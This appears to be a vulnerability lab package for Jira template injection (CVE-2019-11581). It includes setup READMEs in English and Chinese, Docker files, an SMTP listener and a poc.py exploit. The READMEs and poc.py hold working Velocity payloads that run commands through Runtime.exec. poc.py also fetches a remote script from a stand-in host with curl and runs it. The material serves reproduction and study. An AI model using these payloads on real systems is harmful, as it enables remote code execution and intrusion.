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FROM python:3.6-alpine3.9
COPY smtpd_server.py /smtpd_server.py
CMD ["python", "/smtpd_server.py"]
EXPOSE 1025

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# Atlassian Jira Template Injection (CVE-2019-11581)
[中文版本(Chinese version)](README.zh-cn.md)
Atlassian Jira is a widely used project and issue tracking tool in enterprises, commonly applied in defect tracking, customer service, requirements collection, process approval, task tracking, project tracking, and agile management. A template injection vulnerability was discovered in multiple versions that allows remote code execution.
Affected versions include:
- 4.4.x
- 5.x.x
- 6.x.x
- 7.0.x - 7.13.x (Fixed in 7.6.14, 7.13.5)
- 8.0.x - 8.2.x (Fixed in 8.0.3, 8.1.2, 8.2.3)
References:
- <https://confluence.atlassian.com/jira/jira-security-advisory-2019-07-10-973486595.html>
- <https://jira.atlassian.com/browse/JRASERVER-69532>
- <https://mp.weixin.qq.com/s/d2yvSyRZXpZrPcAkMqArsw>
## Environment Setup
Execute the following command to start Jira Server 8.1.0:
```
docker compose up -d
```
After the server starts, visit `http://your-ip:8080` to begin the installation process:
1. Switch to your preferred language
2. Choose "Set it up for me" (first option)
3. Apply for a Jira Server test license from Atlassian (do not select Data Center or Addons)
4. Complete the installation process
Note: Installation may fail or take longer on machines with limited memory. It's recommended to use a machine with at least 4GB of RAM.
![](7.png)
Add SMTP mail server at `/secure/admin/AddSmtpMailServer!default.jspa`:
![](8.png)
Enable "Contact Administrators Form" in System Settings at `/secure/admin/ViewApplicationProperties.jspa`:
![](9.png)
Create a sample project to complete the setup.
## Vulnerability Reproduction
The PoC is similar to CVE-2019-3396. You can use the following payload:
```
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('whoami').toString()
```
You can either:
1. Run `poc.py`, or
2. Submit the PoC directly at `/secure/ContactAdministrators!default.jspa`
![](11.png)
![](12.png)
If you don't see any data in smtpd, check the email queue at `/secure/admin/MailQueueAdmin!default.jspa`:
![](13.png)

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# Atlassian Jira 模板注入漏洞CVE-2019-11581
Atlassian Jira是企业广泛使用的项目与事务跟踪工具被广泛应用于缺陷跟踪、客户服务、需求收集、流程审批、任务跟踪、项目跟踪和敏捷管理等工作领域。在多个版本中发现了一个模板注入漏洞攻击者可以利用该漏洞执行任意命令。
受影响版本包括:
- 4.4.x
- 5.x.x
- 6.x.x
- 7.0.x - 7.13.x在7.6.14、7.13.5版本修复)
- 8.0.x - 8.2.x在8.0.3、8.1.2、8.2.3版本修复)
参考链接:
- <https://confluence.atlassian.com/jira/jira-security-advisory-2019-07-10-973486595.html>
- <https://jira.atlassian.com/browse/JRASERVER-69532>
- <https://mp.weixin.qq.com/s/d2yvSyRZXpZrPcAkMqArsw>
## 环境搭建
执行如下命令启动Jira Server 8.1.0
```
docker compose up -d
```
环境启动后,访问`http://your-ip:8080`进入安装向导:
1. 切换到你偏好的语言
2. 选择"将其设置为我"(第一个选项)
3. 从Atlassian官方申请Jira Server测试许可证不要选择Data Center或Addons
4. 完成安装过程
注意在内存有限的机器上安装可能会失败或需要较长时间。建议使用至少4GB内存的机器进行安装和测试。
![](7.png)
`/secure/admin/AddSmtpMailServer!default.jspa`添加SMTP邮件服务器
![](8.png)
在系统设置`/secure/admin/ViewApplicationProperties.jspa`中启用"联系管理员表单"
![](9.png)
创建一个示例项目以完成设置。
## 漏洞复现
PoC与CVE-2019-3396类似可以使用以下payload
```
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('whoami').toString()
```
你也可以选择:
1. 运行`poc.py`,或者
2. 直接在`/secure/ContactAdministrators!default.jspa`提交PoC
![](11.png)
![](12.png)
如果没有在smtpd中看到数据可能是邮件队列阻塞请在`/secure/admin/MailQueueAdmin!default.jspa`检查邮件队列:
![](13.png)

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services:
jira:
image: vulhub/jira:8.1.0
ports:
- "8080:8080"
links:
- smtpd
smtpd:
build:
context: .
dockerfile: Dockerfile.smtpd

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# -*- coding: utf-8 -*-
import requests
req = requests.Session()
def Base(url,subject):
print("[+] Get Token")
r = req.get("%s/secure/ContactAdministrators!default.jspa" % url)
c = r.headers['Set-Cookie']
t = c[c.find("=")+1:c.find(";")]
data = {
"from": "test@test.com",
"subject": subject,
"details": "v",
"atl_token": t,
"发送": "发送"
}
print("[+] Token : %s" % t)
print("[+] Exploit")
r = req.post("%s/secure/ContactAdministrators.jspa" %
url, data=data, allow_redirects=False)
# print(r.status_code)
def Exp(url, cmd="whoami"):
payload = """
#set ($cmd="%s")
#set ($e="exp")
#set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd))
#set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $e.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if($scan.hasNext())
$scan.next()
#end
""" % cmd
Base(url,payload)
def Poc(url):
payload = "$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('whoami').toString()"
Base(url,payload)
if __name__ == "__main__":
Poc("http://localhost:8080")
Exp("http://localhost:8080","curl vpsip/re.sh -o /tmp/re.sh")
Exp("http://localhost:8080","sh /tmp/re.sh")

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import smtpd
import asyncore,sys,time
class CustomSMTPServer(smtpd.SMTPServer):
def process_message(self, peer, mailfrom, rcpttos, data, **kwargs):
r = data.decode("utf-8").split("\n")
for l in r:
if l.startswith("Subject:"):
sys.stdout.write("[{0}] {1}\n".format(time.time(),l))
sys.stdout.flush()
return
# server = smtpd.DebuggingServer(('0.0.0.0', 1025), None)
server = CustomSMTPServer(('0.0.0.0', 1025), None)
sys.stdout.write("[+] Start SMTPServer on 0.0.0.0:1025\n")
sys.stdout.flush()
asyncore.loop()